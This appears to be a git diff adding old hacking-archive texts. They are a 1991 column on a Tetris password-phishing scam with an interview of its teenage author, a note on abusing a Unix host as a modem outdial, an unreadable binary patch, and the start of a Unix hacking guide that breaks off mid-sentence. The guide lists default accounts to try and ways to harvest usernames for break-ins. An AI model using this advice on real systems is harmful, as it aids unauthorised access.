+Item forwarded by D.WHITESIDE2 to M.LASKY2 + +Item 0622126 91/05/25 12:26 + +From: MITCH.WAGNER Mitch Wagner + +To: D.WHITESIDE2 Donald A. Whiteside + +Sub: New Uploads + +BY MITCH WAGNER + It's hardly the Cuckoo's Egg or the Internet Worm, + but it's still an intriguing little unsolved mystery. + Maybe you can figure out whodunit, and why. I can't. + Here are the clues: + On the night of Sunday, April 14, physics students at + Purdue University engaged in that time-honored collegiate + tradition known as ``pulling an all-nighter'' were in for + a rude surprise. + It came in the form of a piece of E-mail, purporting to + come from their systems administrator, stating that + ``because of security faults,'' users were required to + change their passwords to ``systest001.'' + The E-mail gave helpful instructions on how users could + change their passwords, and concluded, politely but firmly: + ``This change should be done IMMEDIATELY. We will infrm you + when to change your password back to normal, which should + not be longer than ten minutes.'' + The official-sounding memo was a scam, said Kevin + Miller, Unix system manager for the Purdue University + Physics Department. Two of his users fell for it, he said. + Once they did, some unidentified cracker logged in using + the systest001 password, and began to search the system for + security holes. The cracker also set into motion a program + that would have started another, even more ambitious + break-in of the Purdue network, had it not been spotted by a + suspicious user. + That script flashed a message on the screen of every + logged-in user, asking to please play-test a version of + Tetris_a popular video game_on the local system. + But the so-called Tetris game ws actually a script that + prompted users for their log-in passwords, and_if the log-in + password was given_mailed that password to an off-campus + mail drop. + The systest001 and Tetris scams at Purdue University are + examples of several similar break-ins that ave been + happening nationwide. + Gene Spafford, an assistant professor of computer + science at Purdue who specializes in security and computer + ethics, called the cracking attempts ``the most amusing + attempts at a break-in recent memory.'' + Tetris' initia point of origin, he noted, could not be + better calculated to create panic in the military mindset. + ``Tetris was developed in the Soviet Union; it's one of + the products of the Soviet software industry,'' he said. + He said, however, that he believes the ironies are + coincidental, because he believes the hackers are too + unsophisticated to have thought of the ironies themselves. + Elsewhere in the country, the systest001 memo and Tetris + scam were apparently found independently. Purdue was the + only site we could locate where the two scams were linked + and running on the same machine. + The Computer Emergency Response Team at Carnegie-Mellon + University has put out an advisory on both scams, urging + users to alert their systems administrators if anyone asks + for their password, or asks them to change their password. + The cracker doing this bit of social engineering is + taking advantage of the fact that it's really easy to create + UUCP mail that appears to come from just about anywhere_a + trick that's called ``spoofng'' by the cognoscenti. Indeed, + it's a traditional April Fool's Day prank to flood USENET + with all sorts of messages that appear to come from + well-known net personalities_including a warning against + April Fool's Day spoofs signed by Spafford that Spafford + himself never wrote. + CERT technical coordinator Ed DeHart said that he + believes that the systest001 and Tetris scams were fairly + small. + ``I don't think it's widespread. It's a gut-level + feeling, talking to people and based on the number of + reports we've had so far,'' he said. + DeHart said he has no idea who the author of the scam + is. + Neither do I_but I have one more clue. + I sent some mail to the mail drop used in the Tetris + scam, stating in veiled terms my desire to do an article + ``about Turboetris'' and asking for information about ``why + you did what you did.'' The next morning, I got a response + that expressed interest in the offer. Whoever it was that + sent the mail refused to give out a real name, only an alias + he or she uses on bulletin-board systems. + The correspondent promised to get back to me by phone if + I agreed to his or her terms, and left a time to call. I did + so. + And heard nothing until last week. At that time, I + talked to people purporting to be the Tetris hackers_there + were two of them_at some length, but our conversation + covered so much ground that it would be better to save it + for next issue's column. + So we'll do so. + (Mitch Wagner is a senior editor at UNIX Today!) + + + + +BY MITCH WAGNER + ``Beta Raider'' says he and a friend started to break + into computer systems about a year and a half ago, when they + were about 14. + That was when his Dad got him a PC, an IBM AT clone with + a 286 processor. + ``I just started using it for hmework and all that + jazz,'' said the 16-year-old Beta Raider. ``Then my dad got + a modem, and then I called local public-domain BBSes, and + then I got into pirate boards, where I started talking about + things like hacking and the concept of hacking security.'' + Last month, a scam which Beta Raider authored was the + subject of an advisory from the Computer Emergency Response + Team (CERT) at Carnegie-Mellon University. He sent mail to + users urging them to try out a new version of the popular + computer game Tetris. The game was nonexistent, and the mail + was part of a confidence job that resulted in users having + their login IDs and passwords mailed to a mail drop on a + different system, for pickup by Beta Raider and his friend. + I got in touch with Beta Raider by thesimple expedient + of sending mail to that mail drop. We chatted two or three + times on the phone. I don't know his real name, and the only + really significant personal details I know about him are his + age, the fact hat he lives in a suburb near Washington, + D.C., and that he attends a public high school. + (Actually, that's not entirely true. I do know one more + significant thing about him: that he's not paranoid enough. + He let drop a couple of other things that could be used to + track him down really easily, thigs which I'm withholding in + the interest of protecting sources.) + Beta Raider, like most of his brethren in the computer + underground, says that when he breaks into a system, he's + not in it for personal gain. Breaking in is an end in + itself, a means of lerning about computers, and a means of + gaining entree into other systems. + ``It's a puzzle. I like to crack security,'' he said. + He likes to work from accounts that have no files in + them except for system login files. That's an indication + that he won't be disturbed at his work; that the legitimate + owner of that account has been away for a while. + From that base, he looks around the system. + ``Usually I'm looking either for technical notes, + source code, or more access,'' he said. Occasionally, if he + finds an interesting piece of unpublished software + documentation or tips, he'll post it to the bulletin + boards_but nothing, he said, that the company woudln't want + out anyway. + He's also looking for .netrc files, which tell him how + to log onto other systems remotely. ``If the system that + I'm currently on is large enough, usually one person would + have access to any other system,'' he said. + Beta Raider is aware that there's currently stiff + penalties against computer crimes, but he says he doesn't + worry, becase he's careful and because what he does is not + that serious. + ``I've talk to most of the major hacks across the + country, but what they've done, you can really take notice + of it,'' he said. + Beta Raider says he doesn't know what he wants to do + when he rows up. + ``My Mom wants me to become a lawyer, my Dad wants me to + do bioengeineering or something or other,'' he said. ``I + want to do something with computers. + For what it's worth, I left the interviews finding it + difficult to imagine Beta Raider as he villains some + computer security advocates would have us believe populate + the computer underground. I also couldn't picture him as a + heroic desperado of the electronic frontier, which is the + picture that hip publications like MONDO 2000, Rolling + Stone or The Village Voice like to paint. + He just seemes to be a bright, friendly kid_a good kid + fundamentally. And he's out there doing what a lot of + bright, friendly good kids have always done: getting into + mischief. + (Mitch Wagner is a senior editor at UNIX Today!) + + + + + + + + +---------- + +Downloaded From P-80 International Information Systems 304-744-2253 diff --git a/textfiles.com/hacking/UNIX/unixcall.txt b/textfiles.com/hacking/UNIX/unixcall.txt new file mode 100644 index 00000000..84c8736c --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixcall.txt @@ -0,0 +1,31 @@ +i dont know how stupid i'm gonna sound...or what but mabee some of you dont +know how to do this yet....on a unix to use it as an outdial...use the 'cu' +command...yeah..i dont know if it is different on some systems..but on the one +i have i t says 'no system known at 1-212-123-4567' so what i had to do was +edit the following file.. usr/lib/uucp/L.sys and add lines for each system i +want to call... +the format is as folows + +systemname time dev baud number logon +example: +dtc Any,1 ACU 1200 18172652538 Unused + +just add a line like that and then you can type...'cu dtc' and it will dial for +ya....i've found that this format will work if you just change the system name +and the telephone number you can basically type the same thing for each +system...if your unix has a 2400 bops ACU device then by all means go 2400.... +to see devices 'cat' file /usr/lib/uucp/L-dev (i think..it varies in name from +system to system) +hope this helps some... + - SIlencer +. + ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + Ý° THE HOLLOW'S ALLIANCE °Þ + Ý°  Tfile Distribution Center / MASS Megs  °Þ + Ý° 415/236/2371 RoR - Alucard 415/236/2371 °Þ + Ý° Dr. Murdock ~ Sir Death ~ Dark Nite ~ RatSnatcher ~ Pressed Rat°Þ + Ý°Shawn-Da-Lay Boy Production Inc. The Electric Pub : 415/236/4380°Þ + Ý°°°°° The Gates of Hell are open Night and Day; °°°°°Þ + ݱ±± Ø Smooth is the Descent and Easy is the Way Ø ±±±Þ + ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/unixdos.fil b/textfiles.com/hacking/UNIX/unixdos.fil new file mode 100644 index 0000000000000000000000000000000000000000..b7be62cfeb5dacc990592a6c1c1aa1b53381a52a GIT binary patch literal 3986 zcmb_f+j84B5bbkj@(-I#r?F>jjTJktpVE;pX;oj8v7DxPgh+@&3<3-QT2a2fX8}?M zJ$0X|Od^FK7Q1K9o?X0r@e+UN@$>0s`Zt};ZvMKsolj>s^L%mVbVKLjL6!8UT^Vo9 zZoazz^ph{*fX`AFww4quJvn5LR<@DLR_hH3a)H9m_07fS`G}^p zwyiEntNUou2jK#(RalWQWS2|n_#~mVUDL+46jm}f<)kRnE4780uu`51tJ~V}Hf(TI zO0S&s@hqh^EhMd-3d&R@7PcLD79&!IDruw>nuMpd#2$RF;D8DQ`(D+GBeSrr*h6Uo zpLRaufO7BTgEZ7=M1tkQKEPAY*!gzxRTjaMHF#|BJi4=Vwq`5*HhYqr^2!vF9azDa zg^VfimKxhclmUyEREmus<-79V$lV9!d>}0Y!3p^to*`BN@I%l@5~D%&#!J0qv_#El z)BMYP_7SPbZN0w3!Y6ZY?Ap-n>FNA6A@xoKS#nHQ7T``j0x#+23)_l$#bUi7zwtrV zxwRwONZ~w*%5vx{sT+h?DT5?<)(!X&6oA_LOqG*sa-vZsC=O58D*;ACQUHk&<*0Oc z_}n+RFTlrA6%ncE)8WZ6)uLD_170%k!`hOuU@f`U7^Z1!nB(Wtf7{QkJt%k+w;Ya7 z=vr3b(-M^Q_rS|KQORey@cEC)9ZlzvWxwS%L6WOPkFPDLlFBhyCRSfpsW<_!D(<Yhx9*%_tV(&cY%a*K>GT(#Nx1 zR31!<{6zj?JN_pBKoiuA6VlO zz$)X#tt+&Mf0Nsa^byQC*36%K;%rGSp$ZQ|cMXxfV*Goa<(3lVI?3c=1Vx7~Y~`SNMv`)5$I55`3k% zESFzmXFXBWpd1ZE|$;^D^{bR`^de83S=5DkvRs34H8#Q%XxL`x$&Mb9s- zd6VXXI6(P=Reoy@!!GIw zG=$+A2x81*;eFb{ddE|vMZOr?6$sc#RGQ0}VrbtWtCpSx4!Sjd$}26GkiCSC+lmlI z5DJ?HBY{qVb$yUu~UK!!c4NV)5e=@?rY>2vZ~^6gh+$ zuRPDbm{sf#Y2q(lN{t~m)`U^&FTf9lfj>4sw6w$qUSO---`3q-23vCH zf(4Z#w#pYR>IQYvQ_0BhtQNiDuf;bnseq zBMt#fRF;q2+yXPT*l=A%pE(+~8z=ly7U+#>hQ^GKZjW18K;c9T7K6T{CGM-R0t2{0 qwH2tEhI>|-f4PhRpLgTq{i759J3f5UXZfz2dzt?K^2Ja8 I +don't take responsibility for anything anyone does after reading this file. +_______________________________________________________________________________ + + +IDENTIFYING UNIX SYSTEMS AND LOGGING IN +--------------------------------------- + A Unix system can easily be identified by its prompts. When you first +connect to a Unix system, you should receive the login prompt, which is usually +"Login:" (Note, that the first character may or may not be capitalized.) On +some systems, this prompt may be ";Login:" or "User:" (Again, the first letter +may or may not be capitalized.) This may be preceded by a short message, +(usually something like "WARNING!!! This system is for authorized users +only!"), the name of the company that owns the system, or the uucp network name +of the system. (The uucp facilities will be explained in detail later.) At this +point, you should enter the user name and press return. (You should be in +lowercase if your terminal supports it.) You should then receive the password +prompt, "Password:" (And yet again, the "P" may or may not be capitalized.) At +this point, you should enter your password and press return. If you have +specified the correct username/password pair, you will then be admitted into +the system. If you have entered a non-existant username or an incorrect +password, you will receive the message "Login incorrect" and will be returned +to the login prompt. There is little information given before login, and there +is no way to find valid usernames from pre-login information. + There are no "default" passwords in Unix. When the system is initially +set up, none of the default accounts or any of the accounts created by the +system operators has a password, until the system operator or the account owner +set one for the account. Often, lazy system operators and unwary users do not +bother to password many (and in some cases, all) of these accounts. To log in +under an account that doesn't have a password, you have only to enter the +username at the login prompt. + You may encounter some occasional error messages when attempting to log +in under certain accounts. Here are some of the more common messages, and their +causes: + 1. "Unable to change directory to /usr/whatever"-This means that the + account's home directory, the directory which it is placed in + upon logon, does not exist. On some systems, this may prevent + you from logging under that account, and you will be returned + to the login prompt. On other systems, you will simply be + placed in the root directory. If this is the case, you will + see the message "Changing directory to '/'". + 2. "No shell"-this means that the account's shell, or command + interpreter does not exist. On some systems, the account will + not be allowed to log in, and you will be returned to the login + prompt. On other systems, the account will be admitted into the + system using a default shell, usually the Bourne shell. (The + shell will be explained later.) If this is the case, you will + see the message "Using /bin/sh". + + +UNIX ACCOUNTS +------------- + There are two types of Unix accounts-user and superuser accounts. User +accounts are the normal user accounts. These accounts have no privileges. +Superuser accounts are the system operator accounts. These accounts have full +privileges, and are not bound by the file and directory protections of other +users. In Unix, there is no hierarchy of privileges-either an account has full +privileges, or it has none. + Unix usernames are up to 14 characters long, but usually are within the +range of 1-8. The usernames can contain almost any characters, including +control and special characters. (The accounts will usually not contain the +characters @, control-d, control-j, or control-x, as these characters have +special meanings to the Unix operating system.) The Unix system comes initially +configured with quite a few default accounts, some of which are superuser and +some of which are only user-level accounts. Here is a list of the default +accounts which usually have superuser privileges: +root (Always!) +makefsys +mountfsys +umountfsys +checkfsys + +The root account is always present on the system, and always has superuser +capabilities. (Note: most Unix System V systems come initially set up with a +security feature that prevents superuser accounts from logging in remotely. If +you attempt to log in under a superuser account remotely on a system with this +feature, you will receive the message "Not on console", and will be refused +admission to the operating system. This will NOT prevent you from using +superuser accounts remotely-you simply have to log in under a user account and +then switch over to a superuser account using the su utility, which will be +described later.) +Here is a list of the user-level default accounts: +lp +daemon +trouble +nuucp +uucp +bin +rje +adm +sysadm +sync + +The bin account, although it is only a user account, is particularly powerful, +as it has ownership of many of the system's important directories and files. +Although these are the only default accounts on System V Unix, there are many +other accounts which I have found to be common to many Unix systems. Here is a +list of some of the accounts I have found on many Unix systems: +batch admin user demo test +field unix guest pub public +standard games general student help +gsa tty lpadmin + +Also try variations on the account names, such as rje1, rje2, user1, user2, +etc. Also, try variations on people's names and initials, such as doej, doe, +john, johnd, jjd, etc. + No matter what the format for the usernames, one thing is common to all +systems-almost all of the usernames will begin with a lowercase letter. There +is a good reason for this-when logging into the system, if the first character +of the username you type in is in uppr-case, the system automatically assumes +that your terminal does not support lower-case. It will then send all output to +you in upper-case, with characters that are supposed to be upper-case preceded +by a backslash ("\", the Unix escape character), to differentiate them from the +characters which are meant to be in lower-case. Unix *always* differentiates +between the cases, so it is best to stay in lower-case while on the system. + As mentioned before, there are no "default" passwords on Unix. When an +account is created, it has no password, until the superuser or the account's +owner sets one for it. Unix passwords are a maximum of 11 characters. The +password may contain any character, and the system distinguishes between upper +and lower case characters. Many Unix systems implement a special security +feature under which passwords must contain at least 2 non-alphanumeric +characters (similar to Compuserve's password protection). Yet another password +security feature of Unix allows the superuser to set an expiration date on +users' passwords. + + +COMMAND LOGINS +-------------- + Many systems have accounts known as "command logins". These are +accounts that log in, execute a single command, and are then logged out. These +accounts rarely have passwords. Here is a list of common command logins: +who -This is a particularly useful command login. When you enter this at + the username of a system with this particular account, the system will + display a list of the users currently on the system. A good way to get + valid usernames to hack. +time -Not very useful. Just displays the time. +date -Ditto the above, but displays the current date. Great if you don't + have a calendar. +sync -This default account is sometimes set up as a command login. It merely + executes the sync command, which causes any data which is meant to be + stored to be written to disk. + +UNIX SPECIAL CHARACTERS +----------------------- + The Unix operating system interprets certain characters in special +ways. Provided here is a list of those special characters, and their meanings +to the Unix operating system: + +Control-D -This is the Unix end-of-file character. +Control-J -Some systems interpret this, rather than Control-M, as the + return character, while others may use both. The vast majority, + however, will only use Control-M. +Control-Delete -This is the Unix kill character. It will automatically end + your current process. +@ -Some systems use this as the kill character. +\ -This is the Unix escape character. Its main use it to + differentiate between upper- and lower-case characters when + logged in on a terminal that only supports upper-case. For + instance, if you wanted to send the command "cd /Mrs/data", + (never mind what it does right now), you would type this: + (this is how it would look on your upper-case only terminal) + CD /\MRS/DATA + The backslash before the M would let the system know that the M + supposed to be upper-case, while the others would simply be + interpreted as lower-case. + + The characters will rarely be used in usernames and passwords because +of the way they are interpreted. Note, however, that these values may usually +be changed once inside the system using the stty command, which will be +explained later. for instance, the end of file character could be changed to +control-A if you wished. + +THE UNIX SHELL +-------------- + The Unix shell is the command interpreter program that accepts your +input and carries out your commands. It is NOT the operating system itself, it +is the interface between the user and the operating system. The shell is a +program that is executed when you are logged in, and when you end the shell +program, you are logged out of the system. There is nothing special about the +shell program-it is just a regular program, like any other on the Unix system. +In fact, once you are logged on, you can execute another shell just as you +would execute a program. This ability, to run multiple shell levels, can be +used to perform some interesting tricks that will be detailed later in this +file. There is also more than one kind of shell. All the shells perform the +same basic function of interpreting the user's commands, but there are a few +differences. Here is a list of the different shells, their unique +characteristics, and how to tell which shell you are using: + +Shell +----- +sh -This is the Bourne shell, the standard shell of Unix System V, and the + focus of this file. This shell gives user-level accounts a command + prompt of "$", and "#" for superuser accounts. On Berkely BSD Unix, + this shell gives an ampersand ("&") prompt. + +csh -This is the C shell, developed by the Berkely University Science + department. This shell is pretty much the same as the Bourne shell, but + features different shell programming control structures [shell + programming will be explained later, in the section on Unix software + development], and has a few luxuries such as aliasing (giving a command + or a series of commands a new name), and it keeps a history of the + commands you enter. This shell gives a "%" prompt for user accounts and + a "#" prompt for superuser accounts. + +ksh -This is the new, Korn shell. This shell combines features of both the + Bourne shell and the C shell. It boasts the Bourne shell's easier shell + programming, along with the C shell's aliasing and history. Its prompts + are "$" for users and "#" for superusers. + +rsh -This is the restricted Bourne shell. It is used for accounts that the + superuser wishes to restrict the commands available to. It will not + allow you to execute commands outside of your searchpath (which will be + explained later, also, in the section on software development), and + will not let you change directories or change the values of shell + variables. In all other respects, it is similar to the Bourne shell. A + later section of this file will detail ways to overcome the + restrictions of this shell. + +ua -This is a lousy, menu-driven shell for the AT&T Unix PC. (Yes, there + are some of those with dialups!) It implements a lousy windowing + system that is SLOOOW, even at 2400 baud. Luckily, you can exit to the + Bourne shell from the ua shell. + + These are by no means all of the shells you will run across. These are +only the "official" shells provided by the distributors of the Unix operating +system. I've run across many "home-made" shells in my time. Also, any compiled +program can be used as a shell. For instance, I've used systems run by +businesses where one account logged in using an accounting program as a shell. +This prevented the account from being used to do anything other than use the +accounting program. Other good examples of this are the command logins-the who +command login, for example, uses the who program as its shell. When the program +is finished, the account is logged out. You will most definitely encounter +other such accounts as you hack Unix. + +UNIX FILES AND DIRECTORIES +-------------------------- + Unix files and directories are referenced with pathnames, a la MS-DOS. +If you are familiar with MS-DOs, then you should have no problem understanding +this section. Unix files and directories are referenced in the almost the exact +same way-the only difference is that it uses the "/" character, not the +backslash, to separate the directories in the pathname. + Pathnames are a simple concept to understand, but are difficult to +explain. Imagine the system's files and directories laid out in a tree fashion, +like this: + / (root directory) + : + : + ------------------------- + : : + : : + usr (dir) bill (dir) + : : + -------------- -------------- + : : : : + junk (file) source (dir) memo (file) names (file) + : + +"/" is the root directory. This is the top directory in the system tree, and +all other files and directories are referenced in relation to this directory. +The root directory has 2 subdirectories in it, "usr" and "bill". In the usr +directory, there is a file called "junk" and an empty directory called +"source". In the directory bill, there are 2 files, "memo" and "names". You +specify pathnames by starting at the top of the system, "/", and tracing your +way down the system tree to the file or directory you wish to reference, +separating each directory you must pass through to get to it with a slash. For +instance, the pathname of the file "junk" would be "/usr/junk". The pathname of +the usr directory would be "/usr". The pathname of the source directory would +be "/usr/source". The pathname of the bill directory would be "/bill", and the +pathnames of the 2 files which reside in it would be "/bill/memo" and +"/bill/names". + Files and directories can also be referenced by their base names if +they are in your current directory. For instance, if you were in the directory +"usr", you could reference the file "/usr/junk" by its base name, "junk". If +you were in the root directory, you could reference the bill directory by its +base name, "bill". You can reference the file directly above your current +directory in the system tree as ".." and your current directory can be +referenced as "." + Unix file and directory names can be up to 14 characters in length. The +filename can contain any ASCII character, including control characters, except +a space. It may contain both upper- and lower-case, and Unix does distinguish +between the two. Unix does not use filename extensions, a la VMS or MS-DOS, to +show the kind of file a file is. A period, in Unix, is just another character +in the filename, not a separator between 2 fields in the name. File names which +begin with a period are called "hidden" files-that is, they are only revealed +if you issue a special command. + There are 3 kinds of files in Unix. These are text files, binary files, +and device files. Text files are just what you'd think they are from the name- +files of ASCII text, just like what you're reading right now. Binary files are +executable machine-code files. (There are also executable text files, called +shell scripts, that will be explained in detail in the section on Unix software +development.) Device files are files that represent the system's I/O devices- +disk drives, terminals, etc. Remember, that Unix was created as an enviroment +for software development. Its designers wished for programs written for Unix +systems to be as transportable between different models of machines running +the operating system as possible. By representing the I/O devices as files, +they eliminated the incompatability in the code that handled I/O. The program +simply has to read and write from/to the file, and the Unix operating system +handles the system-dependant details. + +BASIC UNIX COMMANDS +------------------- + This section will describe some basic Unix commands, and detail how to +get further help on-line. It will briefly provide the syntax for a few commands +you will find necessary to know in order to find your way around on the system. + Unix will usually only require that you use the base name of a file or +directory you wish to reference if it is in the directory you are currently in. +Most commands will also let you specify full pathnames if you wish to reference +files in other parts of the system. Most commands will also let you use several +wildcard characters when referencing files and directories. These are: +? -This means to accept any single character in the place of the question + mark. For instance, "t?m" would include both "tom" and "tim". + +* -This means to accept any character, group of characters, or nothing in + the position of the asterisk. For example, "t*m" would include "thom", + "tom", and "tim". +[] -This means to accept any character within the brackets in the position + of the brackets. For instance, "t[oia]m" would include "tom", "tim", + and "tam". You can also specify a range of characters in the brackets + by using a hyphen. For instance, "t[a-c]m" would include "tam", "tbm", + and "tcm". + + Most commands and programs in Unix take their input from the keyboard +and send their output to the screen. With most commands and programs, however, +you can instruct them to draw their input from a text file and redirect their +output to another file instead. For instance, assume there is a program on the +system called "encrypter", that takes its input from the keyboard, encrypts it, +and displays the encrypted data on the screen. You could instruct the program +to take its input, instead, from a previously prepared text file using the +input redirection character, "<". In Unix, as in MS-DOs (which is based in part +on Unix), you execute a program by typing its name. You wish the program to +take its input from a file in the directory you are currently in called +"top_secret". You would type "encrypter < top_secret". The program would then +read in the contents of the file top_secret and encrypt it, then print out the +encrypted form on the screen. Suppose you wanted to use the encrypter program +to encrypt files you wished to keep private? You could redirect the encrypted +output from the screen into another file. To do this, you would use the output +redirection character, ">". Say, you wished to save the output in a file called +"private". You would type "encrypter < top_secret > private". The encrypter +program would then read in the contents of the file top_secret and write the +encrypted output into the file "private". Nothing would be displayed to the +screen. If the file private does not exist, it will be created. If it +previously existed, its contents will be erased and replaced with the output +from the encrypter program. Perhaps you would want to add to the contents of a +file rather than replace its contents? This is done with ">>". The command +"encrypter < top_secret >> private" would append the output from the encrypter +to the current contents of the file private. Again, if the file private does +not already exist, it will be created. + Most commands have one or more options that you can specify. These are +placed after the command itself in the command line, and preceded by a hyphen. +For instance, let's say that the encrypter program had an option called +"x", which caused it to use a different encoding algorithm. You would +specify it by typing "encrypter -x". If a command has two or more options, you +can usually specify one or more together in a stream. For instance, let's say +that the encrypter program has 2 options, x and y. You could specify both like +this: "encrypter -xy". If one or more of the options requires an argument, for +example the x option requires a 2 character key, you can specify the options +separately, like this: "encrypter -xaa -y", where aa is the 2-character key. + The pipe character, "|", is used to channel the output of one command +or program into the input of another. For instance, suppose you had a command +called "report" that formatted documents into report format, and you had a file +called "myreport" that you wished to view in the report format. You could type: +"cat myreport" | report". This would type out the contents of the file myreport +to the report command rather than the screen, and the report command would +format it and display it on the screen. (Note: this example could have been +done with I/O redirection by typing "report < myreport"...but it makes a good +example of the use of pipes.) + You can choose to execute commands and programs in the background-that +is, the command executes, but you are free to carry out other tasks in the +meantime. To do this, type in the command line, followed by " &". For instance, +"rm * &" would delete all the files in the directory, but your terminal would +not be tied up. You would still be free to perform other tasks. When you do +this, the system will print out a number and then return you to the system +prompt. This number is the process number of the command. Process numbers will +be explained later in this section in the entry for the command "ps". The +command can be stopped before its completion with the kill command, also +explained in this section. Example: + $rm * & + 1234 + $ + +Note that when you use background processing, the command or program will still +takes its input from the keyboard (standard input device) and send its output +to the screen (standard output device), so if you wish for the command to work +in the background without disturbing you, you must redirect its input (if any) +and its output (if it's to the screen). + +THE COMMANDS +------------ + +ls -This command lists the files and subdirectories in a directory. If you + simply type "ls", it will display the files in your current directory. + You can also specify the pathname of another directory, and it will + display the files in it. It will not display hidden files (files whose + name begins with a period). + + Options: + a -This option will display all files, including hidden files. + + Example: + $ ls -a + + . .. junk source + $ + +cd -This is the command used to move from one directory to another. To go + to a directory directly below your current directory, type "cd + ". To move up to the directory directly above your current + directory, type "cd .." You can also jump to any directory in the + system from any other directory in the system by specifying the path- + name of the directory you wish to go to, such as "cd /usr/source". + + Example: + $cd /usr/source + $ + +pwd -This prints out the pathname of the directory you are currently in. + Useful if you forget where you're at in the system tree. + + Example: + $pwd + /usr/source + +cat -Displays the contents of a text file on the screen. The correct syntax + is "cat ". You can use basenames or pathnames. + + Example: + $cat memo + Bill, + Remember to feed the cat! + -Martha + $ + +rm -This deletes a file. Syntax: "rm ". + + Example: + $rm junk + $ + +cp -Copies a file. Syntax: "cp file1 file2", where file1 is the file you + wish to copy, and file2 is the name of the copy you wish to create. If + file2 already exists, it will be overwritten. You may specify pathnames + for one or both arguments. + + Example: + $cp /usr/junk /usr/junk.backup + +stty -Displays/sets your terminal characteristics. To display the current + settings, type "stty". To change a setting, specify one of the options + listed below. + + Options: + echo -System echoes back your input. + noecho -System doesn't echo your input. + intr 'arg' -Sets the break character. The format is '^c' for control-c, + etc. '' means no break character. + erase 'arg' -Sets the backspace character. Format is '^h' for control-h, + etc. '' means no backspace character. + kill 'arg' -Sets the kill character (which means to ignore the last line + you typed). Format is the same as for intr and erase, + '^[character]', with '' meaning no kill character. + + Example: + $stty intr '^c' erase '^h' + $stty + stty -echo intr '^c' erase '^h' kill '^x' + +lpr -This command prints out a file on the Unix system's printer, for you + to drop by and pick up (if you dare!) The format is "lpr ". + + Example: + $lp junk + +ed -This is a text file line editor. The format is "edit ". The + file you wish to modify is not modified directly by the editor; it is + loaded into a buffer instead, and the changes are only made when you + issue a write command. If the file you are editing does not already + exist, it will be created as soon as issue the first write command. + When you first issue the edit command, you will be placed at the + command prompt, ":" Here is where you issue the various commands. Here + is list of some of the basic editor commands. + # -This is any number, such as 1, 2, etc. This will move you down + to that line of the file and display it. + d -This deletes the line you are currently at. You will then be + moved to the previous line, which will be displayed. + a -Begin adding lines to the file, just after the line that you + are currently on. This command will put you in the text input + mode. Simply type in the text you wish to add. To return to the + command mode, type return to get to an empty line, and press + the break key (which is whatever character you have set as your + break key). It is important to set the break character with + stty before you use the editor! + / -Searches for a pattern in the file. For example, "/junk" would + search the file from your current line down for the first line + which contains the string "junk", and will move you to that + line if it finds one. + i -Insert. Works similar to a, except that the text is inserted + before the line you are currently on. + p -Prints out a line or lines in the buffer. "p" by itself will + display your current line. "#p" will display the line "#". + You may also specify a range of lines, such as "1,3p" which + will display lines 1-3. "1,$p" will print out the entire file. + w -Write the changes in the buffer to the file. + q -Quit the editor. + + Example: + $edit myfile + Editing "myfile" [new file] + 0 lines, 0 characters + :a + I am adding stupid text to myfile. + This is a test. + ^c [this is assumed as a default break character in this example] + :1,$p + I am adding stupid text to myfile. + This is a test. + :2 + This is a test. + :d + I am adding stupid text to myfile. + :w + :q + $ + +grep -this command searches for strings of text in text files. The format is + grep [string] [file]. It will print out every line in the file that + contains the string you specified. + + Options: + v -Invert. This will print out every line that DOESN'T contain + the string you specified. + + Example: + $ grep you letter + your momma! + I think you're going to get caught. + $ + +who -This will show the users currently logged onto the system. + + Example: + $ who + + root console Mar 10 01:00 + uucp contty Mar 30 13:00 + bill tty03 Mar 30 12:15 + $ + Now, to explain the above output: the first field is the username of + the account. The second field shows which terminal the account is on. + Console is, always, the system console itself. On many systems where + there is only one dialup line, the terminal for that line is usually + called contty. the tty## terminals can usually be either dialups or + local terminals. The last fields show the date and time that the user + logged on. In the example above, let's assume that the current time and + date is March 30, and the time is 1:00. Notice that the time is in 24 + hour format. Now, notice that the root (superuser) account logged in on + March 10! Some systems leave the root account logged in all the time on + the console. So, if this is done on a system you are using, how can you + tell if the system operator is really online or not? Use the ps + command, explained next. + +ps -This command displays information about system processes. + + Options: + u -this displays information on a specific user's processes. For + instance, to display the root account's processes: + $ ps -uroot + + PID TTY TIME CMD + 1234 console 01:00 sh + 1675 ? 00:00 cron + 1687 console 13:00 who + 1780 tty09 12:03 sh + + Now, to explain that: The first field is the process number. + Each and every time you start a processes, running a program, + issueing a command, etc., that process is assigned a unique + number. The second is which terminal the process is being run + on. The third field is when the process was started. The last + field is the base name of the program or command being run. + A user's lowest process number is his login (shell) process. + Note that the lowerst process in the above example is 1234. + This process is being run on the console tty, which means the + superuser is logged on at the system console. Note the ? as the + tty in the next entry, for the cron process. You can ignore any + processes with a question mark as the terminal. These processes + are not bewing carried out by a user; they are being carried + out by the system under that user's id. Next, note the entry + for process # 1687, on the console terminal, "who". this means + that the superuser is executing the who command...which means + he is currently actively on-line. The next entry is interest- + ing...it shows that the root user has a shell process on the + terminal tty09! This means that someone else is logged in + under the root account, on tty09. If more than one person is + using an account, this option will display information for all + of them, unless you specify the next option... + + t -This allows you to select processes run on a specific term- + inal. For example: + $ps -t console + will show all the processes currently being run on the console. + + Example: + Remember, options can usually be combined. This will show all + the root user's processes being run on the system console: + $ ps -uroot -tconsole + + PID TTY TIME CMD + 1234 console 01:00 sh + 1687 console 13:00 who + $ + +kill -Kills processes. Syntax: kill [-#] process#. You must know the process + number to kill it. You can, optionally, specify an option of 1-9, to + determine the power of the kill command. Certain kinds of processes, + like shell processes, require more power to kill. Kill -9 will stop any + process. You must have superuser capabilities fo kill another user's + processes (unless he's using your account). + + Example: + $kill -9 1234 + 1234 killed. + $ + +write -This command is for on-line realtime user to user communications. To + communicate with a user, type "write ". If more than one + person is logged in under that user name, you must specify a specific + terminal you wish to speak to. When you do this, the person you wish + to communicate with will see: + Message from [your account name] tty## [<--your terminal] + + Now you can type messages, and they will be displayed on that person's + terminal when you press return. When you are finished, press control-D + to quit. + + Example: + $ write root + Fuck you I'm a hacker! [This is not advised.] + ^d + $ + +mail -The Unix mail facilities, used to send/receive mail. To send mail, + type "mail ". Enter your message and press control-d to send. + To 